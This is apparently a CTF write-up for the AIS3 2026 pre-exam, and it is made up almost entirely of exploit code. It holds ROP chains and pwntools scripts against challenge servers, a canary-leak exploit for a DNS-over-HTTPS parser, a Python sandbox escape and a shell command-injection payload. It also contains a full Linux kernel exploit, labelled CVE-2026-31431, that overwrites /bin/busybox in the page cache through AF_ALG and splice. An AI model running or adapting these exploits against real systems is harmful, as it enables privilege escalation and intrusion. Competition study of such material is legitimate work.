AIS3 2026 Pre-exam Writeup

AIS3{Hello_LLM_welcome_to_pre_exam_2026!}

Unity Mono build
→ Reverse1_Data/StreamingAssets/bundles/character_main
→ 匯出 Spine atlas / skeleton
→ 從 atlas 看到可疑文字碎片
→ 分析 character.txt 裡的 emote_a 動畫
→ 依 bone / slot / attachment 關係重建文字

character_export/character.png
character_export/character.atlas.txt
character_export/character.txt

Reverse1_Data/StreamingAssets/bundles/character_main

AIS3{
d0n7_70
uch_my_
c4p3_0k_
b
3
f
1
e
7
6
8
}

AIS3{ d0n7_70 uch_my_ c4p3_0k_ b 3 f 1 e 7 6 8 }

AIS3{d0n7_70uch_my_c4p3_0k_b3f1e768}

()_[]{}.@#

 -Xutf8 coding:unicode-escape

import os
os\x2esystem\x28"cat /flag"\x29

os.system("cat /flag")

 -Xutf8 coding:unicode-escape
import os
os\x2esystem\x28"cat /flag"\x29

AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}

non-PIE
NX enabled
Full RELRO
No stack canary

FLAG buffer:                       0x427040
stdout pointer:                    0x427020
pop rdi; pop rbp; ret:             0x416e51
pop rbx; pop r12; pop rbp; ret:    0x405d7f
fwrite call site:                  0x40456a

mov rax, [rbp-0x1f8]
mov rcx, rax
mov rdx, rbx
mov esi, 1
call fwrite

rdi = FLAG
rbx = 0x7f
rbp = stdout + 0x1f8

[rbp - 0x1f8] = stdout FILE pointer

from pwn import *

context.clear(arch='amd64', log_level='error')
elf = ELF('./chall')

pop_rdi = 0x416e51
pop_rbx = 0x405d7f
fwrite_site = 0x40456a

payload = b'Y' + b'A' * 87
payload += p64(pop_rdi) + p64(elf.symbols['_ZL4FLAG']) + p64(0)
payload += p64(pop_rbx) + p64(0x7f) + p64(0) + p64(elf.symbols['stdout'] + 0x1f8)
payload += p64(fwrite_site)

io = remote('chals1.ais3.org', 50002)
io.recvline()
io.send(payload)
print(io.recvall(timeout=5).decode('latin1', 'replace'))

AIS3{f4k3_fl4g_1s_4ls0_4_fl4g}

. -> sleeping. -> curious.sleeping.

0123456789ABCDEFGHIJKLMNOPQRSTUV

azft0azxct7utcyw.curious.sleeping. TXT

AIS3{w4lking_0n_D0H_z0n3--NSEC...NSEC6!_666~~~}

AAAAAAAAAAAAAAAA%a0%00

16 bytes padding
u16 0
u16 0x20
padding to 0x38
leaked canary
saved rbp filler
ROP

read(4, .bss, len(stage2))
pop rsp; ret

write "/flag.txt" 到 .bss
open("/flag.txt", 0, 0)
read(fd, flag_buf, 0x100)
write(4, flag_buf, 0x100)

pop rdi; ret                   0x69a383
pop rsi; ret                   0x46958e
pop rdx; ret                   0x4d5513
pop rax; ret                   0x694ed4
pop rsp; ret                   0x69d1b6
mov edi, eax; ret              0x6bd710
mov qword ptr [rsi], rax; ret  0x758aa5
syscall; ret                   0x711d26
writable .bss staging          0x8f9000

#!/usr/bin/env python3
import re
import socket
import struct
import time


HOST = "chals1.ais3.org"
PORT = 57573

POP_RDI = 0x69A383
POP_RSI = 0x46958E
POP_RDX = 0x4D5513
POP_RAX = 0x694ED4
POP_RSP = 0x69D1B6
MOV_EDI_EAX = 0x6BD710
MOV_QWORD_PTR_RSI_RAX = 0x758AA5
SYSCALL = 0x711D26
BSS = 0x8F9000


def qword(value: int) -> bytes:
    return struct.pack("<Q", value)


def request(rrtype: str) -> bytes:
    return (
        f"GET /dns-query?name=www.curious.sleeping.&type={rrtype} HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        "Connection: keep-alive\r\n"
        "\r\n"
    ).encode()


def percent_encode(data: bytes) -> str:
    return "".join(f"%{byte:02x}" for byte in data)


def leak_canary() -> int:
    with socket.create_connection((HOST, PORT), timeout=8) as sock:
        sock.sendall(request("A" * 16 + "%a0%00"))
        response = bytearray()
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk

    match = re.search(rb'bad_type":"([0-9a-f]+)', response)
    if not match:
        raise RuntimeError(response[:300])

    leaked = bytes.fromhex(match.group(1).decode())
    return struct.unpack("<Q", leaked[0x38:0x40])[0]


def build_stage_two() -> bytes:
    flag_path = BSS + 0x500
    flag_buf = BSS + 0x600
    chain = [
        POP_RAX, int.from_bytes(b"/flag.tx", "little"),
        POP_RSI, flag_path,
        MOV_QWORD_PTR_RSI_RAX,
        POP_RAX, int.from_bytes(b"t\0".ljust(8, b"\0"), "little"),
        POP_RSI, flag_path + 8,
        MOV_QWORD_PTR_RSI_RAX,
        POP_RAX, 2,
        POP_RDI, flag_path,
        POP_RSI, 0,
        POP_RDX, 0,
        SYSCALL,
        MOV_EDI_EAX,
        POP_RSI, flag_buf,
        POP_RDX, 0x100,
        POP_RAX, 0,
        SYSCALL,
        POP_RAX, 1,
        POP_RDI, 4,
        POP_RSI, flag_buf,
        POP_RDX, 0x100,
        SYSCALL,
        POP_RAX, 60,
        POP_RDI, 0,
        SYSCALL,
    ]
    return b"".join(qword(value) for value in chain)


def build_stage_one(canary: int, stage_len: int) -> bytes:
    payload = bytearray(b"B" * 16 + struct.pack("<H", 0) + struct.pack("<H", 0x20))
    payload += b"C" * (0x38 - len(payload))
    payload += qword(canary)
    payload += b"D" * 8
    chain = [
        POP_RAX, 0,
        POP_RDI, 4,
        POP_RSI, BSS,
        POP_RDX, stage_len,
        SYSCALL,
        POP_RSP, BSS,
    ]
    payload += b"".join(qword(value) for value in chain)
    return bytes(payload)


def main() -> None:
    canary = leak_canary()
    stage_two = build_stage_two()
    stage_one = build_stage_one(canary, len(stage_two))

    with socket.create_connection((HOST, PORT), timeout=8) as sock:
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        sock.sendall(request(percent_encode(stage_one)))
        time.sleep(0.8)
        sock.sendall(stage_two)

        response = bytearray()
        sock.settimeout(6)
        try:
            while True:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
        except TimeoutError:
            pass

    flag = re.search(rb"AIS3\{[^\n}]+\}", response)
    if not flag:
        raise RuntimeError(response)
    print(flag.group(0).decode())


if __name__ == "__main__":
    main()

AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ}

run.sh
initramfs.cpio
kernel.config

-kernel bzImage
-initrd initramfs.cpio
-cpu qemu64,+smap,+smep
-append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on nokaslr noapic"

struct iret_frame {
    __u64 rip;
    __u64 cs;
    __u64 rflags;
    __u64 rsp;
    __u64 ss;
};

#define WAND_CAST _IOW(WAND_MAGIC, 0, struct iret_frame)

void *pivot = magic_core;
unsigned long tramp = swapgs_restore_addr;

asm volatile(
    "mov %0, %%rsp\n\t"
    "jmp *%1\n\t"
    :: "r"(pivot), "r"(tramp) : "memory"
);

frame.rflags = rflags | (3ULL << 12) | (1ULL << 9);

#define FW_CFG_PORT_SEL    0x510
#define FW_CFG_PORT_DATA   0x511
#define FW_CFG_SIGNATURE   0x00
#define FW_CFG_INITRD_SIZE 0x0b
#define FW_CFG_INITRD_DATA 0x12

#define USER_CS 0x33
#define USER_SS 0x2b

static inline void outw16(uint16_t value, uint16_t port) {
    __asm__ volatile("outw %0, %1" : : "a"(value), "Nd"(port));
}

static inline uint8_t inb8(uint16_t port) {
    uint8_t value;
    __asm__ volatile("inb %1, %0" : "=a"(value) : "Nd"(port));
    return value;
}

__asm__ volatile("pushfq; pop %0" : "=r"(rflags));

frame.rip = (uint64_t)win;
frame.cs = USER_CS;
frame.rflags = rflags | (3ULL << 12) | (1ULL << 9);
frame.rsp = stack_top;
frame.ss = USER_SS;

ioctl(fd, WAND_CAST, &frame);

static uint32_t fw_cfg_read_be32(uint16_t selector) {
    uint32_t v = 0;
    outw16(selector, FW_CFG_PORT_SEL);
    for (int i = 0; i < 4; i++) {
        v = (v << 8) | inb8(FW_CFG_PORT_DATA);
    }
    return v;
}

控制 iret_frame
-> 設定 IOPL=3
-> 回 userland
-> ring3 使用 in/out
-> QEMU fw_cfg
-> INITRD_DATA
-> 掃出 flag

AIS3{The_true_magic_is_in_the_journey_of_finding_it@I_believe_you_found_your_own_magic_on_your_own!}

kernel: Linux 6.1.81
SMEP / SMAP: enabled
KASLR: enabled
hint: Copy Fail / CVE-2026-31431
target: /bin/busybox

open("/flag")
read()
write(1)
exit()

uuencode -> cat > /tmp/cf.uue -> uudecode -> chmod +x -> /tmp/cf

patch
readback_payload
done
AIS3{WHY_Ne3D_K3RN3L_z3R0_d@Y_wH3n_Y0u_aLr3Ady_h@cK3D_the_HYpeRvi5or}

const fs = require('fs');
const crypto = require('crypto');

const base = 'http://chals1.ais3.org:11451';
const token = process.env.CTFD_TOKEN;

if (!token) {
  console.error('missing CTFD_TOKEN');
  process.exit(1);
}

function uue(buf, name) {
  let s = `begin 755 ${name}\n`;

  for (let i = 0; i < buf.length; i += 45) {
    const b = buf.slice(i, i + 45);
    s += String.fromCharCode(32 + b.length);

    for (let j = 0; j < b.length; j += 3) {
      const a = b[j];
      const c = j + 1 < b.length ? b[j + 1] : 0;
      const d = j + 2 < b.length ? b[j + 2] : 0;

      const v = [
        (a >> 2) & 63,
        ((a << 4) | (c >> 4)) & 63,
        ((c << 2) | (d >> 6)) & 63,
        d & 63,
      ];

      for (const x of v) s += String.fromCharCode(x ? x + 32 : 96);
    }

    s += '\n';
  }

  return s + '`\nend\n';
}

function zeroBits(h, bits) {
  const n = bits >> 3;

  for (let i = 0; i < n; i++) {
    if (h[i]) return false;
  }

  const r = bits & 7;
  return !r || (h[n] >>> (8 - r)) === 0;
}

async function pow() {
  const chal = await (await fetch(base + '/pow/challenge')).json();

  for (let nonce = 0;; nonce++) {
    const h = crypto
      .createHash('sha256')
      .update(chal.challenge + ':' + nonce)
      .digest();

    if (!zeroBits(h, chal.difficulty)) continue;

    const res = await (await fetch(base + '/pow/verify', {
      method: 'POST',
      headers: { 'content-type': 'application/json' },
      body: JSON.stringify({ challenge: chal.challenge, nonce }),
    })).json();

    return res.pow_token;
  }
}

function delay(ms) {
  return new Promise((r) => setTimeout(r, ms));
}

async function paste(ws, s) {
  const enc = new TextEncoder();

  for (let i = 0; i < s.length; i += 512) {
    ws.send(enc.encode(s.slice(i, i + 512)));
    await delay(15);
  }
}

(async () => {
  const bin = fs.readFileSync('./tiny_cf');
  const body = uue(bin, 'cf');
  const sha = crypto.createHash('sha256').update(bin).digest('hex');

  console.log('[tiny]', bin.length, sha);
  console.log('[uue]', body.length);

  const ptok = await pow();
  console.log('[pow] ok');

  const ws = new WebSocket(
    'ws://chals1.ais3.org:11451/ws?token=' +
      encodeURIComponent(token) +
      '&pow_token=' +
      encodeURIComponent(ptok) +
      '&force=1',
  );

  ws.binaryType = 'arraybuffer';

  let log = '';
  let sent = false;
  let got = false;

  ws.onmessage = async (ev) => {
    if (typeof ev.data === 'string') {
      console.log('[ctl]', ev.data);
      return;
    }

    const s = Buffer.from(ev.data).toString('utf8');
    process.stdout.write(s);
    log += s;

    if (s.includes('\x1b[6n')) {
      ws.send(new TextEncoder().encode('\x1b[24;1R'));
    }

    if (!sent && log.includes('\x1b[6n')) {
      sent = true;
      await delay(800);

      const cmd =
        "cat > /tmp/cf.uue <<'EOF'\n" +
        body +
        "EOF\n" +
        '/bin/uudecode -o /tmp/cf /tmp/cf.uue\n' +
        'chmod +x /tmp/cf\n' +
        'wc -c /tmp/cf\n' +
        'sha256sum /tmp/cf\n' +
        '/tmp/cf\n' +
        '/bin/xxd -l 160 /bin/busybox\n' +
        '/bin/busybox; echo BUSYBOX_STATUS:$?\n' +
        'echo PATCH_DONE\n' +
        'exit\nexit\nexit\n';

      console.log('\n[send]');
      await paste(ws, cmd);
    }

    const m = log.match(/AIS3\{[^}\r\n]+\}/);
    if (m && !got) {
      got = true;
      console.log('\n[flag]', m[0]);
      setTimeout(() => ws.close(), 1000);
    }
  };

  ws.onclose = (e) => {
    console.log('\n[close]', e.code, e.reason);
    process.exit(got ? 0 : 1);
  };

  setTimeout(() => {
    if (!got) {
      console.log('\n[timeout]');
      ws.close();
    }
  }, 560000);
})();

typedef unsigned long u64;
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned char u8;

#define AF_ALG 38
#define SOCK_SEQPACKET 5
#define SOL_ALG 279
#define ALG_SET_KEY 1
#define ALG_SET_OP 3
#define ALG_SET_IV 2
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
#define MSG_MORE 32768
#define O_RDONLY 0
#define SEEK_SET 0

struct sockaddr_alg {
  u16 salg_family;
  u8 salg_type[14];
  u32 salg_feat;
  u32 salg_mask;
  u8 salg_name[64];
};

struct iovec {
  void *iov_base;
  u64 iov_len;
};

struct msghdr {
  void *msg_name;
  u32 msg_namelen;
  u32 pad1;
  struct iovec *msg_iov;
  u64 msg_iovlen;
  void *msg_control;
  u64 msg_controllen;
  u32 msg_flags;
  u32 pad2;
};

struct cmsghdr {
  u64 cmsg_len;
  int cmsg_level;
  int cmsg_type;
};

static u8 elf[] = {
  127,69,76,70,2,1,1,0,0,0,0,0,0,0,0,0,2,0,62,0,1,0,0,0,
  120,0,64,0,0,0,0,0,64,0,0,0,0,0,0,0,128,1,0,0,0,0,0,0,
  0,0,0,0,64,0,56,0,1,0,64,0,5,0,4,0,1,0,0,0,7,0,0,0,
  120,0,0,0,0,0,0,0,120,0,64,0,0,0,0,0,120,0,64,0,0,0,0,0,
  79,0,0,0,0,0,0,0,79,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
  72,49,192,80,72,187,47,102,108,97,103,0,0,0,83,72,137,231,
  72,49,246,176,2,15,5,72,137,199,72,137,230,72,129,238,0,1,0,0,
  72,49,210,178,255,72,49,192,15,5,72,137,194,72,199,199,1,0,0,0,
  72,199,192,1,0,0,0,15,5,72,199,192,60,0,0,0,72,49,255,15,5
};

static inline long sc1(long n, long a)
{
  long r;
  asm volatile("syscall" : "=a"(r) : "a"(n), "D"(a) : "rcx", "r11", "memory");
  return r;
}

static inline long sc3(long n, long a, long b, long c)
{
  long r;
  asm volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory");
  return r;
}

static inline long sc5(long n, long a, long b, long c, long d, long e)
{
  long r;
  register long r10 asm("r10") = d;
  register long r8 asm("r8") = e;
  asm volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c), "r"(r10), "r"(r8) : "rcx", "r11", "memory");
  return r;
}

static inline long sc6(long n, long a, long b, long c, long d, long e, long f)
{
  long r;
  register long r10 asm("r10") = d;
  register long r8 asm("r8") = e;
  register long r9 asm("r9") = f;
  asm volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c), "r"(r10), "r"(r8), "r"(r9) : "rcx", "r11", "memory");
  return r;
}

static void puts1(const char *s)
{
  u64 n = 0;
  while (s[n]) n++;
  sc3(1, 1, (long)s, n);
}

static void z(void *p, u64 n)
{
  u8 *q = p;
  while (n--) *q++ = 0;
}

static void cp(void *d, const void *s, u64 n)
{
  u8 *dd = d;
  const u8 *ss = s;
  while (n--) *dd++ = *ss++;
}

static void cstr(u8 *d, const char *s)
{
  while ((*d++ = (u8)*s++));
}

static u64 a8(u64 x)
{
  return (x + 7) & ~7UL;
}

static int poke4(int fd, u64 off0, const u8 *x)
{
  long alg = sc3(41, AF_ALG, SOCK_SEQPACKET, 0);
  if (alg < 0) {
    puts1("sock\n");
    return -1;
  }

  struct sockaddr_alg sa;
  z(&sa, sizeof(sa));
  sa.salg_family = AF_ALG;
  cstr(sa.salg_type, "aead");
  cstr(sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");

  if (sc3(49, alg, (long)&sa, sizeof(sa)) < 0) {
    puts1("bind\n");
    return -1;
  }

  u8 key[40];
  z(key, sizeof(key));
  key[0] = 0x08;
  key[2] = 0x01;
  key[7] = 0x10;

  if (sc5(54, alg, SOL_ALG, ALG_SET_KEY, (long)key, sizeof(key)) < 0) {
    puts1("key\n");
    return -1;
  }

  if (sc5(54, alg, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4) < 0) {
    puts1("auth\n");
    return -1;
  }

  long op = sc3(43, alg, 0, 0);
  if (op < 0) {
    puts1("accept\n");
    return -1;
  }

  u8 data[8];
  data[0] = 'A';
  data[1] = 'A';
  data[2] = 'A';
  data[3] = 'A';
  cp(data + 4, x, 4);

  u8 ctl[128];
  z(ctl, sizeof(ctl));

  struct iovec iov;
  iov.iov_base = data;
  iov.iov_len = sizeof(data);

  struct msghdr msg;
  z(&msg, sizeof(msg));
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_control = ctl;

  u64 off = 0;

  struct cmsghdr *c = (struct cmsghdr *)(ctl + off);
  c->cmsg_len = sizeof(struct cmsghdr) + 4;
  c->cmsg_level = SOL_ALG;
  c->cmsg_type = ALG_SET_OP;
  off += a8(c->cmsg_len);

  c = (struct cmsghdr *)(ctl + off);
  c->cmsg_len = sizeof(struct cmsghdr) + 20;
  c->cmsg_level = SOL_ALG;
  c->cmsg_type = ALG_SET_IV;
  ((u8 *)(c + 1))[0] = 0x10;
  off += a8(c->cmsg_len);

  c = (struct cmsghdr *)(ctl + off);
  c->cmsg_len = sizeof(struct cmsghdr) + 4;
  c->cmsg_level = SOL_ALG;
  c->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
  ((u8 *)(c + 1))[0] = 0x08;
  off += a8(c->cmsg_len);

  msg.msg_controllen = off;

  if (sc3(46, op, (long)&msg, MSG_MORE) < 0) {
    puts1("sendmsg\n");
    return -1;
  }

  int p[2];
  if (sc1(22, (long)p) < 0) {
    puts1("pipe\n");
    return -1;
  }

  u64 n = off0 + 4;
  u64 src = 0;

  sc6(275, fd, (long)&src, p[1], 0, n, 0);
  sc6(275, p[0], 0, op, 0, n, 0);

  char tmp[1024];
  sc6(45, op, (long)tmp, off0 + 8, 0, 0, 0);

  sc1(3, p[0]);
  sc1(3, p[1]);
  sc1(3, op);
  sc1(3, alg);
  return 0;
}

void _start()
{
  int fd = sc3(2, (long)"/bin/busybox", O_RDONLY, 0);
  if (fd < 0) {
    puts1("open\n");
    sc1(60, 1);
  }

  puts1("patch\n");

  for (u64 i = 0; i < sizeof(elf); i += 4) {
    u8 x[4] = {0, 0, 0, 0};
    u64 n = sizeof(elf) - i;
    if (n > 4) n = 4;

    cp(x, elf + i, n);

    if (poke4(fd, i, x) < 0) {
      sc1(60, 2);
    }
  }

  sc3(8, fd, 0, SEEK_SET);

  u8 b[32];
  sc3(0, fd, (long)b, sizeof(b));

  if (b[24] == 0x78 && b[25] == 0x00 && b[26] == 0x40) {
    puts1("readback_payload\n");
  } else {
    puts1("readback_orig\n");
  }

  puts1("done\n");
  sc1(60, 0);
}

AIS3{WHY_Ne3D_K3RN3L_z3R0_d@Y_wH3n_Y0u_aLr3Ady_h@cK3D_the_HYpeRvi5or}

pow(c, d ^ row_i, n)

shake_256(base || i)

base = -sum(lambda_j * vals_j) / sum(lambda_j * bias_j)

6226901257745988517400304262260068971526607509066332027399

row_i = masked_i ^ shake_256(
    base.to_bytes(24, "big") + i.to_bytes(4, "big")
).digest(56)

sum(lambda_i) = 0
sum(lambda_i * bit_k(row_i)) = 0    for all k

prod(sig_i ^ lambda_i) == 1 mod n

prod_positive - prod_negative

sum(lambda_i) = 1
sum(lambda_i * bit_k(row_i)) = 0    for all k

prod(sig_i ^ lambda_i) == c^d == m mod n

chal.py
output.txt
bkz_search.py
row_exact_q1e9_raw.mat
row_exact_q1e9.red
g_exact_checkpoint.txt
flag.txt

from hashlib import shake_256
import re

import gmpy2
from Crypto.Util.number import long_to_bytes
from flint import fmpz_mat

BITS = 448
WIDTH = 192
NROWS = 896
BASE = 6226901257745988517400304262260068971526607509066332027399


def mask(base, idx):
    seed = base.to_bytes(WIDTH // 8, "big") + idx.to_bytes(4, "big")
    return int.from_bytes(shake_256(seed).digest(BITS // 8), "big")


def load_instance():
    ns = {}
    with open("output.txt") as f:
        exec(f.read(), ns)
    c = ns["c"]
    data = ns["data"]
    rows = [x ^ mask(BASE, i) for i, (x, _) in enumerate(data)]
    sigs = [gmpy2.mpz(y) for _, y in data]
    return c, rows, sigs

AIS3{lll_then_lll_then_lll_then_lll_owob}

strncat(chain, hex, 0x20)

popen("echo -n \"%s\" | sha256sum")

chain buffer:                    rbp-0x200
saved RIP leak:                  0x208
PIE main leak:                   0x238
main:                            0x1849
post-validation command block:   0x15bd

counter * 0x20 bytes from rbp-0x200

pie_base = leak[0x238:0x240] - 0x1849

";cat${IFS}/flag.txt>&2;#

#!/usr/bin/env python3
from hashlib import sha256
import re
import struct
import sys

from pwn import remote

FROM = "aa"
TO = "bb"
FULL_TX = "0"
ZERO_TX = "b0"
MAIN_OFF = 0x1849
CMD_BLOCK_OFF = 0x15BD

cache = {}


def digest_for(money: str) -> bytes:
    return sha256(f"From: {FROM}, To: {TO}, Money: {money}".encode()).digest()


def tx_with_prefix(prefix: bytes) -> str:
    if prefix in cache:
        return cache[prefix]
    for i in range(4_000_000):
        money = f"{i:x}"
        if digest_for(money).startswith(prefix):
            cache[prefix] = money
            return money
    raise RuntimeError(f"cannot mine hash prefix {prefix.hex()}")


def add_tx(io, money: str) -> None:
    io.sendline(b"1")
    io.sendlineafter(b"Enter From account: ", FROM.encode())
    io.sendlineafter(b"Enter To account: ", TO.encode())
    io.sendlineafter(b"Enter Money amount: ", money.encode())
    io.recvuntil(b"Enter your choice: ")


def view_chain(io) -> bytes:
    io.sendline(b"2")
    out = io.recvuntil(b"Enter your choice: ")
    lines = [
        line.strip()
        for line in out.splitlines()
        if re.fullmatch(rb"[0-9a-f]{64}", line.strip())
    ]
    return bytes.fromhex(b"".join(lines).decode())


def write_byte(io, value: int) -> None:
    add_tx(io, tx_with_prefix(bytes([value, 0])))


def overwrite_saved_rip(io, target: int) -> None:
    for value in b"BBBBBBBB":
        write_byte(io, value)
    for value in target.to_bytes(8, "little")[:6]:
        write_byte(io, value)


def exploit(host: str, port: int) -> None:
    io = remote(host, port)
    io.recvuntil(b"Enter your choice: ")

    for _ in range(16):
        add_tx(io, FULL_TX)
    for _ in range(4):
        add_tx(io, ZERO_TX)

    leak = view_chain(io)
    pie_base = struct.unpack("<Q", leak[0x238:0x240])[0] - MAIN_OFF
    overwrite_saved_rip(io, pie_base + CMD_BLOCK_OFF)

    payload = b'";cat${IFS}/flag.txt>&2;#'
    io.sendline(b"1")
    io.sendlineafter(b"Enter From account: ", payload)
    io.recvuntil(b"Enter your choice: ")
    io.sendline(b"3")
    print(io.recvall(timeout=10).decode("latin1", "replace"))


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <host> <port>")
        raise SystemExit(1)
    exploit(sys.argv[1], int(sys.argv[2]))